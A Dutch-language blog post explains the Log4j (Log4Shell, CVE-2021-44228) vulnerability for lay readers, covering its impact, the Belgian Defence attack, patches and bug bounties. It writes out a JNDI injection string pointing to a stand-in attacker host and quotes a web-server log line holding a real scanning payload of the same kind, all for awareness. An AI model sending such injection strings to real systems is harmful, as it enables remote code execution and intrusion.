Update 12 januari 2022:
Ondertussen heeft de Belgische defensie al 26 dagen mogen “genieten” van de gevolgen van dit securityprobleem . Daarnaast is het ook wel top om te zien, dat de open source maintainers van deze module nu wel degelijk de nodige sponsoring en funding krijgen voor hun werk.


 


Wie de security communities en websites wat volgt is gisteren overspoeld met nieuws over de nieuwe Log4J securitybug, die potentieel heeft om uit te groeien tot het grootste securityprobleem van de afgelopen jaren.

Om het super simplistisch uit te leggen: Door je naam als gebruiker te veranderen in een applicatie, kan je die applicatie volledig overnemen. 🔥🍿

Update 20/12/2021: En je moet mij niet geloven als ik zeg dat deze bug echt wel grote gevolgen heeft momenteel (en de komende weken/maanden)…

Het ministerie van Defensie heeft in de nacht van zondag op maandag toegegeven getroffen te zijn geweest door een cyberaanval, die ernstig lijkt. Een deel van de activiteiten van het ministerie werd verschillende dagen lamgelegd. Defensie heeft donderdag een aanval ontdekt op zijn computernetwerk met internettoegang. Er werden snel quarantainemaatregelen genomen om de getroffen delen te isoleren.

Defensie slachtoffer grote cyberaanval

 

Wat is Log4j?!?

Log4J is een open source tooltje (geschreven in de populaire programmeertaal Java) om in Java applicaties bepaalde zaken te gaan loggen/bijhouden.

Deze kleine module wordt door een Developer in zijn vrije tijd beheerd, maar dit dus zonder veel sponsoring voor zijn werk hieraan… Een typisch voorbeeld waarbij veel bedrijven open-source modules inzetten, maar geen ondersteuning voor die projecten doen.

 

Je gaat deze kleine module niet veel tegenkomen bij eenvoudige websites, maar bij grote enterprise applicaties is dit een zeer veel gebruikte (standaard ingebouwde) methode om gebruikersactiviteit te gaan loggen in logbestanden.

Het Nederlandse Cyber Security Centrum van de Nederlandse overheid heeft deze bug dan ook gisteren ingeschaald op HIGH/HIGH, wat zoveel betekent als: Hoge kans op Hoge schade. 😱

Ook onze Belgische CERT heeft een kritieke waarschuwing uitgestuurd hierover.

 

PS: Voor wie de correcte uitspraak wilt gebruiken.

 

Hoe kan een hacker deze bug gebruiken?

Wat er ontdekt is (officiële naam in de Common Vulnerabilities and Exposures database is CVE-2021-44228), is dat je een bepaalde attackstring in veel applicaties als userinput kan meegeven en dit script dan ook wordt uitgevoerd (hij gaat naar een zogenaamde ldap server connecteren en het antwoord zomaar uitvoeren).

Ironie: het wegschrijven van useractiviteit, om te zien of deze niet kwaadaardig is, is nu net het probleem, want daardoor ga je nu net die kwaadaardige activiteit zelf uitvoeren… 🤷‍♂️🙈

 

Bijvoorbeeld:

  • Je maakt in een applicatie een nieuwe user aan met de naam “${jndi:ldap://urlvanhacker.com/a}”
  • De applicatie gaat die userinput loggen via Log4J en door de bug gaat bij de ingevoerde url (met je eigen aanvalsserver zijn url of ipadres) uitvoeren.
  • Dit is een RCE = Remote Code Execution, waardoor je dus jouw code door een server kan laten uitvoeren

Maar je moet in veel gevallen zelfs niet zorgen voor userinput, maar je kan ook de zogenaamde HTTP useragent (de referentie die je browser meegeeft als je een website bezoekt en aangeeft welk type browser je bent) gaan aanpassen en daardoor een webapplicatie hacken. De useragent wordt in veel gevallen namelijk ook door die Log4J applicatie weggeschreven naar de log en verwerkt.  🙈

Ideaal dus om op grote schaal websites te gaan scannen op deze bug.

Wat Cloudflare erover te zeggen had:
For example, a User-Agent string containing the exploit could be passed to a backend system written in Java that does indexing or data science and the exploit could get logged. This is why it is vital that all Java-based software that uses log4j version 2 is patched or has mitigations applied immediately. Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.

Ook het Swiss Government Computer Emergency Response Team heeft een super goed schema gemaakt en de nodige uitleg online gezet (en waar/hoe je je kan beschermen).

 

Hoe erg is dit securityprobleem?

Ik zal het eenvoudig zeggen: ERG. Ik ben er zeker van dat er in veel bedrijven een weekendshift bezig is om dit op te lossen.

Op deze Githubpagina heeft iemand voorbeelden getoond van grote bedrijven waar deze bug kan gebruikt worden. Zogenaamde exploits (daadwerkelijke code om van dit probleem gebruik te gaan maken als hacker) zijn dan ook aan het circuleren.

Het testen kan je trouwens eenvoudig zelf.

 

Die dnslog.CN website die je in alle voorbeelden ziet voorbijkomen is een eenvoudige DNS logger, die je kan inzetten om zelf snel te testen of een applicatie de code gaat uitvoeren.

Hierbij een voorbeeld waarbij de tester de naam van zijn tesla aanpast aan de attackurl en deze ook getoond wordt en intern verwerkt door de Log4J module en dus zijn extern attackscript gaat uitvoeren en een pingback krijgt op die dnslog.cn website.

De securitybug werd trouwens snel publiek, daar Minecraft users doorhadden dat de populaire game dit probleem ook had. Een voorbeeld in 2 screenshots: deze gebruiker veranderde zijn naam in de Minecraft chat in het aanvalscommando en toont dus dat het commando uitgevoerd wordt en hij een connectie heeft met de Minecraft server.

Als 2de stap was het dan eenvoudig om bijvoorbeeld op de Minecraft server een calculator op te roepen en uit te voeren. Je zal wel doorhebben dat deze zogenaamde RCE (Remote Code Execution) ook voor andere zaken kan gebruikt worden, dan het opstarten van een calculator. 🔥

En als we nu dit ook nog eens weten… 🙈

Enja ook in de Apache logs van deze WordPress blog kom ik nu reeds scanning tegen, van iemand (met een Indisch IP) die met de Burp Suite aan het testen en scannen is. Zo eenvoudig is het dus om snel te weten of je ergens een server kan vinden, die vatbaar is voor dit probleem.

223.178.213.192 – – [13/Dec/2021:11:23:14 +0100] “GET /?id=%2524%257Bjndi%253Aldap%253A%252F%252F1561.4ejrb8l7s5j2ik7h548o6et47vdl1a.burpcollaborator.net%252Fa%257D HTTP/1.1” 200 20987 “${jndi:ldap://1561.4ejrb8l7s5j2ik7h548o6et47vdl1a.burpcollaborator.net/a}” “${jndi:ldap://1561.4ejrb8l7s5j2ik7h548o6et47vdl1a.burpcollaborator.net/a}”

 

 

 

En NU?

Enja er wordt nu natuurlijk massale scannings gedaan naar bedrijven die geïmpacteerd zijn. In deze eerste fase worden er vooral cryptominers geïnstalleerd (ze gaan dus servers rekenkracht laten inzetten om cryptocoins te minen). Gevaarlijk is dat er nu ook servers worden overgenomen en als bot in slaapstand zullen gaan. Je merkt er als bedrijf dus niets van, maar over 1-2 maanden kan je plots ransomware hebben bvb. (zie dit artikel over de ransomware aanval bij Picanol, waar ze pas 30 dagen na binnendringen de ransomware hebben geactiveerd, om lang genoeg te wachten zodat alle propere backups ook vervuild zijn met hun code).

 

De serveradmin van Tweakers gaf ook al mee hoeveel keer hij het nu in zijn logs ziet voorbijkomen (zij maken geen gebruik van dit framework, maar ze ondervinden ook wel de scanningspogingen).

 

De ransomware groepen diende nog even zelf hun ransomwaretools in de Java programmeertaal om te zetten, maar ondertussen is het dus deze fase die gestart is…

In veel SOC’s (Security Operation Centers) zijn ze dit weekend dus dit spelletje “aan het spelen”… 🙈

Er zijn natuurlijk direct patches voorzien om deze module te patchen, maar veel bedrijven gaan dit niet even snel snel kunnen doen. En denk ook maar eens aan eventuele IoT devices, die overal gebruikt worden en die nu van een nieuwe firmware moeten voorzien worden.

Het Nederlands NCSC (Nationaal Cyber Security Centrum) heeft een Github repository gestart, waarin ze alle software samenbrengen en of er reeds een patch voorhanden is. 👏👌

Ook Cloudflare (die een groot deel van het internet beschermt op hoge niveau) heeft zijn kracht ingezet om een gratis WAF rule te activeren voor al hun klanten, waardoor dit soort aanvallen op een hoger niveau worden weggefilterd door hen.

Oeps. Die helikopter op Mars dan ook maar gaan patchen dus?

 

Enja deze gekende xkcd meme is nu echt wel heel relevant dit weekend… 🙈🤷‍♂️

Mooie infographic nu na dit eerste weekend van Intigriti (het Belgische bugbountyplatform met duizenden aangesloten white hat hackers).

Met ook mooie FAQ over hoe zij omgaan met dergelijke zero-day bugs (nieuw ontdekte securityproblemen waar nog geen patch direct voorhanden is).

Should organizations pay bug bounties for zero-days?
Most Intigriti customers have a 14-day cooldown period for zero-day vulnerabilities. This means that submissions sent through the platform during this timeframe do not automatically qualify for a bounty. It allows your team to assess the situation internally before including the issue in your bug bounty program. Researchers are still able to submit the vulnerability to your program and may receive a bonus at your discretion

Update 23/12/2021:
Het waren trouwens Chinese developers van Alibaba (de Chinese ecommerce gigant), die het probleem vonden in november en doorgaven aan de developers van de module. In China is er nu echter een wetgeving, die verplicht om gevonden zero-days (securityproblemen zonder patch) eerst aan de overheid te melden (vanuit strategisch standpunt). Daardoor zit het er nu even tegen daar tussen China en Alibaba…

blank

Marketing strateeg en docent (Thomas More/UHasselt). Sinds 2002 reeds techblogger. Marketing strateeg en privacy officer als freelancer en daarnaast ook gewoon papa thuis. Schrijf je in voor de Dailybits nieuwsbrief.

Abonneer
Abonneren op

Deze site gebruikt Akismet om spam te verminderen. Bekijk hoe je reactie-gegevens worden verwerkt.

3 Reacties
Oldest
Newest Most Voted
Inline Feedbacks
View all comments
Jef Breugelmans
2 jaren geleden

As always heel duidelijk uitgelegd en volledig…